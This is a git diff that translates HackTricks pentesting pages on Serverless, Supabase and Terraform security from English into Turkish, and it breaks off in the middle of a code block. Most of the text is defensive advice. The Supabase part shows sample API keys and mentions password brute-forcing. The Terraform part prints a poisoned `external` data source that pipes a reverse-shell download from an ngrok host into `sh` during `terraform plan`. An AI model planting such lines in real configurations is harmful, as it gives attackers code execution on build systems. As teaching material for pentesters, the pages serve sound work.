Bağımsız çalışmayı sağlamak için farklı kaynaklar ve IAM rolleri atayın. +- **Kaynak Bölümlendirmesi:** Farklı fonksiyonlar için ayrı veritabanları veya depolama alanları kullanın. +- **VPC'leri Kullanın:** Ağ izolasyonunu artırmak için fonksiyonları Sanal Özel Bulutlar içinde dağıtın. - ```yaml - provider: - vpc: - securityGroupIds: - - sg-xxxxxxxx - subnetIds: - - subnet-xxxxxx - ``` +```yaml +provider: +vpc: +securityGroupIds: +- sg-xxxxxxxx +subnetIds: +- subnet-xxxxxx +``` -- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. +- **Fonksiyon İzinlerini Sınırlayın:** Fonksiyonların, açıkça gerekli olmadıkça birbirlerinin kaynaklarına erişemediğinden emin olun. --- -### **Inadequate Data Protection** +### **Yetersiz Veri Koruma** -Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. +Dinlenme veya iletim sırasında şifrelenmemiş veriler açığa çıkabilir, bu da veri ihlallerine veya değiştirilmelere yol açabilir. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Encrypt Data at Rest:** Utilize cloud service encryption features. +- **Dinlenme Halinde Verileri Şifreleyin:** Bulut hizmeti şifreleme özelliklerini kullanın. - ```yaml - resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - SSESpecification: - SSEEnabled: true - ``` +```yaml +resources: +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +SSESpecification: +SSEEnabled: true +``` -- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. -- **Secure API Communication:** Enforce encryption protocols and validate certificates. -- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly. +- **İletim Halinde Verileri Şifreleyin:** Tüm veri iletimleri için HTTPS/TLS kullanın. +- **API İletişimini Güvence Altına Alın:** Şifreleme protokollerini zorlayın ve sertifikaları doğrulayın. +- **Şifreleme Anahtarlarını Güvenli Bir Şekilde Yönetin:** Yönetilen anahtar hizmetlerini kullanın ve anahtarları düzenli olarak döndürün. --- -### **Lack of Proper Error Handling** +### **Uygun Hata Yönetiminin Olmaması** -Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. +Ayrıntılı hata mesajları, altyapı veya kod tabanı hakkında hassas bilgileri açığa çıkarabilirken, ele alınmamış istisnalar uygulama çökmesine neden olabilir. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Generic Error Messages:** Avoid exposing internal details in error responses. +- **Genel Hata Mesajları:** Hata yanıtlarında iç detayları açığa çıkarmaktan kaçının. - ```javascript - javascriptCopy code// Example in Node.js - exports.hello = async (event) => { - try { - // Function logic - } catch (error) { - console.error(error); - return { - statusCode: 500, - body: JSON.stringify({ message: 'Internal Server Error' }), - }; - } - }; - ``` +```javascript +javascriptCopy code// Node.js'de örnek +exports.hello = async (event) => { +try { +// Fonksiyon mantığı +} catch (error) { +console.error(error); +return { +statusCode: 500, +body: JSON.stringify({ message: 'Dahili Sunucu Hatası' }), +}; +} +}; +``` -- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. -- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. +- **Merkezi Hata Yönetimi:** Tüm fonksiyonlar arasında hataları tutarlı bir şekilde yönetin ve temizleyin. +- **Hataları İzleyin ve Günlüğe Geçirin:** Hataları içsel olarak izleyin ve analiz edin, son kullanıcılara detayları açığa çıkarmadan. --- -### **Insecure Deployment Practices** +### **Güvensiz Dağıtım Uygulamaları** -Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. +Açıkta kalan dağıtım yapılandırmaları veya CI/CD boru hatalarına yetkisiz erişim, kötü niyetli kod dağıtımlarına veya yanlış yapılandırmalara yol açabilir. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits. -- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. -- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies. -- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices. +- **Güvenli CI/CD Boru Hatları:** Katı erişim kontrolleri, çok faktörlü kimlik doğrulama (MFA) ve düzenli denetimler uygulayın. +- **Yapılandırmayı Güvenli Bir Şekilde Saklayın:** Dağıtım dosyalarını hardcoded gizli anahtarlardan ve hassas verilerden arındırın. +- **Altyapı Kod Olarak (IaC) Güvenlik Araçları Kullanın:** Güvenlik politikalarını uygulamak için **Checkov** veya **Terraform Sentinel** gibi araçları kullanın. +- **Değişmez Dağıtımlar:** Değişmez altyapı uygulamaları benimseyerek dağıtım sonrası yetkisiz değişiklikleri önleyin. --- -### **Vulnerabilities in Plugins and Extensions** +### **Eklentiler ve Uzantılardaki Zayıflıklar** -Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. +Onaylanmamış veya kötü niyetli üçüncü taraf eklentileri, sunucusuz uygulamalarınıza zayıflıklar ekleyebilir. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. -- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. -- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches. -- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises. +- **Eklentileri Kapsamlı Bir Şekilde Değerlendirin:** Entegrasyondan önce eklentilerin güvenliğini değerlendirin, güvenilir kaynaklardan gelenleri tercih edin. +- **Eklenti Kullanımını Sınırlayın:** Saldırı yüzeyini en aza indirmek için yalnızca gerekli eklentileri kullanın. +- **Eklenti Güncellemelerini İzleyin:** Güvenlik yamalarından yararlanmak için eklentileri güncel tutun. +- **Eklenti Ortamlarını İzole Edin:** Potansiyel tehlikeleri sınırlamak için eklentileri izole ortamlarda çalıştırın. --- -### **Exposure of Sensitive Endpoints** +### **Hassas Uç Noktaların Açığa Çıkması** -Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. +Herkese açık erişime sahip fonksiyonlar veya kısıtlanmamış API'ler, yetkisiz işlemler için istismar edilebilir. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. -- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. -- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting. -- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use. +- **Fonksiyon Erişimini Kısıtlayın:** Güvenilir kaynaklara erişimi sınırlamak için VPC'ler, güvenlik grupları ve güvenlik duvarı kuralları kullanın. +- **Sağlam Kimlik Doğrulama Uygulayın:** Tüm açık uç noktaların uygun kimlik doğrulama ve yetkilendirme gerektirdiğinden emin olun. +- **API Geçitlerini Güvenli Kullanın:** API Geçitlerini güvenlik politikalarını uygulamak için yapılandırın, giriş doğrulaması ve hız sınırlaması dahil. +- **Kullanılmayan Uç Noktaları Devre Dışı Bırakın:** Kullanılmayan uç noktaları düzenli olarak gözden geçirin ve devre dışı bırakın. --- -### **Excessive Permissions for Team Members and External Collaborators** +### **Ekip Üyeleri ve Dış İşbirlikçilerin Aşırı İzinleri** -Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. +Ekip üyelerine ve dış işbirlikçilere aşırı izinler vermek, yetkisiz erişim, veri ihlalleri ve kaynakların kötüye kullanımı ile sonuçlanabilir. Bu risk, birden fazla bireyin farklı erişim seviyelerine sahip olduğu ortamlarda artar, saldırı yüzeyini ve iç tehdit potansiyelini artırır. -#### **Mitigation Strategies** +#### **Azaltma Stratejileri** -- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. +- **En Az Ayrıcalık İlkesi:** Ekip üyelerinin ve işbirlikçilerinin yalnızca görevlerini yerine getirmek için gerekli izinlere sahip olduğundan emin olun. --- -### **Access Keys and License Keys Security** +### **Erişim Anahtarları ve Lisans Anahtarları Güvenliği** -**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. +**Erişim Anahtarları** ve **Lisans Anahtarları**, Serverless Framework CLI ile etkileşimleri kimlik doğrulamak ve yetkilendirmek için kullanılan kritik kimlik bilgileridir. -- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI. -- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`. +- **Lisans Anahtarları:** CLI üzerinden giriş yapmak için Serverless Framework Sürüm 4'e erişimi kimlik doğrulamak için gereken benzersiz tanımlayıcılardır. +- **Erişim Anahtarları:** Serverless Framework Dashboard ile kimlik doğrulamak için Serverless Framework CLI'nin kullanabileceği kimlik bilgileridir. `serverless` cli ile giriş yapıldığında bir erişim anahtarı **oluşturulacak ve dizüstü bilgisayarda saklanacaktır**. Ayrıca `SERVERLESS_ACCESS_KEY` adında bir ortam değişkeni olarak ayarlayabilirsiniz. -#### **Security Risks** +#### **Güvenlik Riskleri** -1. **Exposure Through Code Repositories:** - - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. -2. **Insecure Storage:** - - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. -3. **Improper Distribution:** - - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. -4. **Lack of Rotation:** - - Not regularly rotating keys extends the exposure period if keys are compromised. -5. **Excessive Permissions:** - - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. +1. **Kod Depoları Üzerinden Açığa Çıkma:** +- Erişim Anahtarlarını ve Lisans Anahtarlarını sürüm kontrol sistemlerine hardcoded olarak eklemek veya yanlışlıkla taahhüt etmek, yetkisiz erişime yol açabilir. +2. **Güvensiz Depolama:** +- Anahtarları düz metin olarak ortam değişkenlerinde veya yapılandırma dosyalarında uygun şifreleme olmadan saklamak, sızıntı olasılığını artırır. +3. **Yanlış Dağıtım:** +- Anahtarları güvensiz kanallar (örneğin, e-posta, sohbet) aracılığıyla paylaşmak, kötü niyetli aktörler tarafından ele geçirilmesine neden olabilir. +4. **Döngü Eksikliği:** +- Anahtarları düzenli olarak döndürmemek, anahtarlar tehlikeye girerse maruz kalma süresini uzatır. +5. **Aşırı İzinler:** +- Geniş izinlere sahip anahtarlar, birden fazla kaynakta yetkisiz eylemler gerçekleştirmek için istismar edilebilir. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 6fa6219f8..8199a38f0 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -1,50 +1,49 @@ -# Supabase Security +# Supabase Güvenliği {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings. +[**Ana sayfalarına**](https://supabase.com/) göre: Supabase, açık kaynaklı bir Firebase alternatifidir. Projenize bir Postgres veritabanı, Kimlik Doğrulama, anlık API'ler, Edge Fonksiyonları, Gerçek Zamanlı abonelikler, Depolama ve Vektör gömme ile başlayın. -### Subdomain +### Alt Alan -Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`** +Temelde bir proje oluşturulduğunda, kullanıcı **`jnanozjdybtpqgcwhdiz.supabase.co`** gibi bir supabase.co alt alanı alacaktır. -## **Database configuration** +## **Veritabanı yapılandırması** > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`** +> **Bu verilere `https://supabase.com/dashboard/project//settings/database` gibi bir bağlantıdan erişilebilir.** -This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\ -The password is a **password the user put** previously. +Bu **veritabanı**, bazı AWS bölgelerinde dağıtılacak ve ona bağlanmak için şu şekilde bağlanmak mümkün olacaktır: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (bu us-west-1'de oluşturuldu).\ +Şifre, kullanıcının daha önce koyduğu bir **şifredir**. -Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**. +Bu nedenle, alt alan bilinen bir alan olduğundan ve kullanıcı adı olarak kullanıldığından ve AWS bölgeleri sınırlı olduğundan, **şifreyi brute force denemek** mümkün olabilir. -This section also contains options to: +Bu bölüm ayrıca şunları yapılandırma seçeneklerini içerir: -- Reset the database password -- Configure connection pooling -- Configure SSL: Reject plan-text connections (by default they are enabled) -- Configure Disk size -- Apply network restrictions and bans +- Veritabanı şifresini sıfırlama +- Bağlantı havuzlamasını yapılandırma +- SSL yapılandırma: Düz metin bağlantılarını reddetme (varsayılan olarak etkin) +- Disk boyutunu yapılandırma +- Ağ kısıtlamaları ve yasaklar uygulama -## API Configuration +## API Yapılandırması > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`** +> **Bu verilere `https://supabase.com/dashboard/project//settings/api` gibi bir bağlantıdan erişilebilir.** -The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +Projenizdeki supabase API'sine erişim URL'si şöyle olacak: `https://jnanozjdybtpqgcwhdiz.supabase.co`. -### anon api keys +### anon api anahtarları -It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in +Ayrıca bir **anon API anahtarı** (`role: "anon"`) oluşturacaktır, örneğin: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` uygulamanın API anahtarını kullanabilmesi için gereklidir. -It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be: +Bu API ile iletişim kurmak için API REST'ini [**belgelerde**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) bulmak mümkündür, ancak en ilginç uç noktalar şunlar olacaktır:
-Signup (/auth/v1/signup) - +Kaydol (/auth/v1/signup) ``` POST /auth/v1/signup HTTP/2 Host: id.io.net @@ -69,13 +68,11 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-Login (/auth/v1/token?grant_type=password) - +Giriş (/auth/v1/token?grant_type=password) ``` POST /auth/v1/token?grant_type=password HTTP/2 Host: hypzbtgspjkludjcnjxl.supabase.co @@ -100,68 +97,63 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**. +Bu nedenle, bir müşterinin kendilerine verilen alt alan adıyla supabase kullandığını keşfettiğinizde (şirketin bir alt alan adının supabase alt alan adlarına CNAME yönlendirmesi yapması mümkündür), **supabase API'sini kullanarak platformda yeni bir hesap oluşturmayı** deneyebilirsiniz. -### secret / service_role api keys +### gizli / service_role api anahtarları -A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**. +**`role: "service_role"`** ile bir gizli API anahtarı da oluşturulacaktır. Bu API anahtarı gizli olmalıdır çünkü **Satır Düzeyi Güvenliği**'ni atlayabilecektir. -The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` +API anahtarı şu şekilde görünür: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` -### JWT Secret +### JWT Gizli Anahtarı -A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**. +Uygulamanın **özel JWT token'ları oluşturup imzalayabilmesi** için bir **JWT Gizli Anahtarı** da oluşturulacaktır. -## Authentication +## Kimlik Doğrulama -### Signups +### Kayıtlar > [!TIP] -> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints. +> **Varsayılan olarak** supabase, daha önce bahsedilen API uç noktalarını kullanarak projenizde **yeni kullanıcıların hesap oluşturmasına** izin verecektir. -However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\ -This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those: +Ancak, bu yeni hesaplar varsayılan olarak, **giriş yapabilmek için e-posta adreslerini doğrulamaları** gerekecektir. İnsanların e-posta adreslerini doğrulamadan giriş yapabilmesi için **"Anonim girişlere izin ver"** seçeneğini etkinleştirmek mümkündür. Bu, **beklenmedik verilere** erişim sağlayabilir (kullanıcılar `public` ve `authenticated` rollerini alır).\ +Bu çok kötü bir fikirdir çünkü supabase, aktif kullanıcı başına ücret alır, bu nedenle insanlar kullanıcı oluşturup giriş yapabilir ve supabase bu kullanıcılar için ücret alır:
-### Passwords & sessions +### Şifreler ve oturumlar -It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\ -It's recommended to **improve the requirements as the default ones are weak**. +Minimum şifre uzunluğunu belirtmek mümkündür (varsayılan olarak), gereksinimleri (varsayılan olarak yok) ve sızdırılmış şifrelerin kullanılmasını engellemek mümkündür.\ +**Varsayılan gereksinimlerin zayıf olduğu için gereksinimleri geliştirmek** önerilir. -- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...) -- Bot and Abuse Protection: It's possible to enable Captcha. +- Kullanıcı Oturumları: Kullanıcı oturumlarının nasıl çalıştığını yapılandırmak mümkündür (zaman aşımı, kullanıcı başına 1 oturum...) +- Bot ve Kötüye Kullanım Koruması: Captcha etkinleştirmek mümkündür. -### SMTP Settings +### SMTP Ayarları -It's possible to set an SMTP to send emails. +E-postaları göndermek için bir SMTP ayarlamak mümkündür. -### Advanced Settings +### Gelişmiş Ayarlar -- Set expire time to access tokens (3600 by default) -- Set to detect and revoke potentially compromised refresh tokens and timeout -- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default) -- Max Direct Database Connections: Max number of connections used to auth (10 by default) -- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default) +- Erişim token'ları için sonlanma süresini ayarlayın (varsayılan 3600) +- Potansiyel olarak tehlikeye atılmış yenileme token'larını tespit etmek ve iptal etmek için ayarlayın +- MFA: Kullanıcı başına aynı anda kaç MFA faktörünün kaydedilebileceğini belirtin (varsayılan 10) +- Maksimum Doğrudan Veritabanı Bağlantıları: Kimlik doğrulama için kullanılan maksimum bağlantı sayısı (varsayılan 10) +- Maksimum İstek Süresi: Bir Kimlik doğrulama isteğinin süresinin ne kadar olabileceği (varsayılan 10s) -## Storage +## Depolama > [!TIP] -> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets). +> Supabase, **dosyaları depolamaya** ve bunları bir URL üzerinden erişilebilir hale getirmeye izin verir (S3 bucket'ları kullanır). -- Set the upload file size limit (default is 50MB) -- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) +- Yükleme dosyası boyut sınırını ayarlayın (varsayılan 50MB) +- S3 bağlantısı şu URL ile verilir: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- `access key ID` (örneğin, `a37d96544d82ba90057e0e06131d0a7b`) ve `secret access key` (örneğin, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) ile oluşan **S3 erişim anahtarı** talep etmek mümkündür. -## Edge Functions +## Edge Fonksiyonları -It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly). +Supabase'te **gizli anahtarları** depolamak da mümkündür ve bunlar **edge fonksiyonları tarafından erişilebilir** (web üzerinden oluşturulup silinebilir, ancak değerlerine doğrudan erişmek mümkün değildir). {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 09b875ff2..0610ffc13 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,316 +1,282 @@ -# Terraform Security +# Terraform Güvenliği {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[Belgelerden:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features. +HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de yerel kaynakları** insan tarafından okunabilir yapılandırma dosyalarında tanımlamanıza olanak tanır; bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Daha sonra, tüm altyapınızı yaşam döngüsü boyunca sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebildiği gibi, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir. -#### How does Terraform work? +#### Terraform nasıl çalışır? -Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API. +Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Sağlayıcılar, Terraform'un erişilebilir bir API'ye sahip hemen hemen her platform veya hizmetle çalışmasını sağlar. ![](<../images/image (177).png>) -HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more. +HashiCorp ve Terraform topluluğu, binlerce farklı türde kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır. -The core Terraform workflow consists of three stages: +Temel Terraform iş akışı üç aşamadan oluşur: -- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer. -- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration. -- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines. +- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmet arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz. +- **Planla:** Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya yok edeceği altyapıyı tanımlayan bir yürütme planı oluşturur. +- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarını dikkate alarak önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur. ![](<../images/image (215).png>) -### Terraform Lab +### Terraform Laboratuvarı -Just install terraform in your computer. +Bilgisayarınıza terraform'u kurun. -Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). +Burada bir [kılavuz](https://learn.hashicorp.com/tutorials/terraform/install-cli) ve burada terraform'u indirmenin [en iyi yolu](https://www.terraform.io/downloads) var. -## RCE in Terraform +## Terraform'da RCE -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**. +Terraform'un **bir web sayfası veya bir ağ hizmeti sunan bir platformu yoktur**; bu nedenle, terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını ekleyip/ değiştirebilmektir**. -However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. +Ancak, terraform, düzgün çalışabilmesi için farklı konumlara **ayrılmış erişim** sağlayacağı için **çok hassas bir bileşendir**. -The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**. +Bir saldırganın terraform'un çalıştığı sistemi tehlikeye atabilmesinin ana yolu, **terraform yapılandırmalarını depolayan depoyu tehlikeye atmaktır**, çünkü bir noktada bunlar **yorumlanacaktır**. -Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**: +Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur; bunlardan biri **Atlantis**'dir: {{#ref}} atlantis-security.md {{#endref}} -If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`. +Bir terraform dosyasını tehlikeye atabiliyorsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır. ### Terraform plan -Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`. +Terraform plan, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir. -**Using an external provider** +**Dış sağlayıcı kullanarak** -Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. - -Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`: +Terraform, Terraform ile dış programlar arasında arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz. +Bir terraform yapılandırma dosyasına aşağıdakine benzer bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır: ```javascript data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Özel bir sağlayıcı kullanma** -**Using a custom provider** - -An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): - +Bir saldırgan, [Terraform Registry](https://registry.terraform.io/) 'ye bir [özel sağlayıcı](https://learn.hashicorp.com/tutorials/terraform/provider-setup) gönderebilir ve ardından bunu bir özellik dalındaki Terraform koduna ekleyebilir ([buradan örnek](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript - terraform { - required_providers { - evil = { - source = 